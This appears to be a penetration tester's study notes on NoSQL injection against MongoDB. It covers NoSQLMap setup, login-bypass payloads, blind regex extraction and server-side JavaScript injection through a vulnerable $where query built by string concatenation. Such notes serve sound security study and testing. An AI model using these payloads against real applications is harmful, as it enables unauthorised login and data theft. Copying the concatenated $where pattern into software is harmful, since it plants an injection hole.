NoSQL Injection
Useful Resources
NoSQLMap
As of writing these notes, the nosqlmap installation described in the github repository does not seem to work. To install it:
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
sudo apt install python2.7
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2 install couchdb
pip2 install --upgrade setuptools
pip2 install pbkdf2
pip2 install pymongo
pip2 install ipcalcThen you can run it using
python2 nosqlmap.py --attack 2 --victim 127.0.0.1 --webPort 80 --uri /index.php --httpMethod POST --postData param1name,parameter1value,param2name,parameter2value --injectedParameter 1 --injectSize 5
--injectedParameter 1 specifies that we want to inject the parameter with index 1 in the postData list, which is parameter2name in this case
Fundamentals
Unlike relational databases, NoSQL databases store data in different ways varying on their type
Document-Oriented
Stores data in documents which contain pairs of fields and values. Documents are typically encoded in formats such as JSON or XML.
Key-Value
A data structure that stores data in key:value pairs, like a dictionary.
Wide-Column
Similar to relational databases, as they store data in tables, rows, and columns, but with the ability to handle more ambiguous data types.
Graph
Stores data in nodes and uses edges to define relationships
I will only cover MongoDB, as it is the most popular NoSQL database.
Also, since NoSQL has no standardized query language like SQL does, its injection attacks may differ based on the specific implementation you are facing.
Authentication Bypass
Suppose you are facing a web application login that requires a username and a password
POST /login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
username=wrong&password=wrongTo bypass authentication without valid credentials, we want this query to return a match on any document to get us authenticated as whoever it matched.
A straightforward way to do this would be to use the $ne query operator on both username and password to match values that are not equal to something we know doesn't exist.
Since the parameters are URL-encoded, we can't just pass JSON objects to PHP.
To solve, this we need to change the syntax: param[$op]=val is the same as param: {$op: val} so we will try to bypass authentication with username[$ne]=wrong and password[$ne]=wrong
POST /login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
username[$ne]=wrong&password[$ne]=wrongAn alternative approach would use the $regex query parameter on both fields to match /.*/, which means any character repeated 0 or more times, which, in turn, matches everything.
POST /login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
username[$regex]=.*&password[$regex]=.*Lastly, some other payloads that could work are:
username=admin&password[$ne]=x # to target the admin user
username[$gt]=&password[$gt]= # any string greater than 0 -> matches everything
username[$gte]=&password[$gte]= # same logic
Data Extraction (In-Band)
When extracting data in-band, the ideas are the very same as the authentication bypasses shown previously: we will inject payloads to match everything based on always true/false conditions
param[$ne]=x param[$gt]= param[$gte]= param[$lt]=~ param[$lte]=~ param[$regex]=.*
{param: {$ne: 'x'}}
{param: {$gt: ''}}
{param: {$gte: ''}}
{param: {$lt: ''}}
{param: {$lte: ''}}
{param: {$regex: '.*'}}
{param: {$nin: []}}
Data Extraction (Blind)
When trying to extract data that is not being reflected back to us, we can use regex to get the value we are looking for, one character at a time.
Consider an example where you can search for orders by their package number. The search query requires a "packageNumber" parameter and responds with the information related to the package. It won't confirm whether the package number exists or not.
We can confirm the injection point exists by sending a payload that will match any entry returned by the underlying query, such as {"packageNumber":{"$ne":"x"}}.
After that, we can send {"packageNumber":{"$regex":"^.*"}}, to match all documents.
If that works, we can iteratively look for other characters in the packageNumber by sending:
{"packageNumber":{"$regex":"^0.*"}}
{"packageNumber":{"$regex":"^1.*"}}
{"packageNumber":{"$regex":"^2.*"}}
.....
{"packageNumber":{"$regex":"^21.*"}}
{"packageNumber":{"$regex":"^22.*"}}
....
{"packageNumber":{"$regex":"^221.*"}}
{"packageNumber":{"$regex":"^222.*"}}
....
{"packageNumber":{"$regex":"^2221262$"}}A dollar sign ($) is appended to the regular expression to mark the end of a string, allowing us to verify whether the entire package number has been dumped.
Server-Side Javascript Injection (SSJI) via NoSQLi
One type of injection unique to NoSQL is JavaScript Injection, which may happen when an attacker can get the server to execute arbitrary JavaScript in the context of the database because the server leverages a JavaScript file that evaluates the parameters sent by the user to run the NoSQL query.
Notice: The JavaScript code is not shown in the front end! It is executed by the server when checking the user parameters at the back end.
Authentication Bypass
A JavaScript file related to authentication may contain something like:
.find({$where: "this.username == \"" + req.body['username'] + "\" && this.password == \"" + req.body['password'] + "\""});In this case, an attacker could send a payload like username = " || ""==" to try and make the server evaluate a query such as db.users.find({$where: 'this.username == "" || ""=="" && this.password == "" || ""==""'}) which results in every document being returned and presumably logging the attacker in as one of the returned users.
Data Extraction
The previous attack may allow us to login as a random user, or login without a valid username. In the second case, we can proceed with a blind data extraction payload to try and exfiltrate valid usernames (and login as the related user) using an iterative approach to find all characters of the username, one by one, with regular expressions. If we are logged in as an invalid user, we can proceed with the next character:
username = " || (this.username.match('^a.*')) || ""=="
.......
username = " || (this.username.match('^s.*')) || ""=="
username = " || (this.username.match('^sf.*')) || ""=="
username = " || (this.username.match('^sfo.*')) || ""=="
username = " || (this.username.match('^sfof.*')) || ""=="
username = " || (this.username.match('^sfoff.*')) || ""=="
username = " || (this.username.match('^sfoffo$')) || ""=="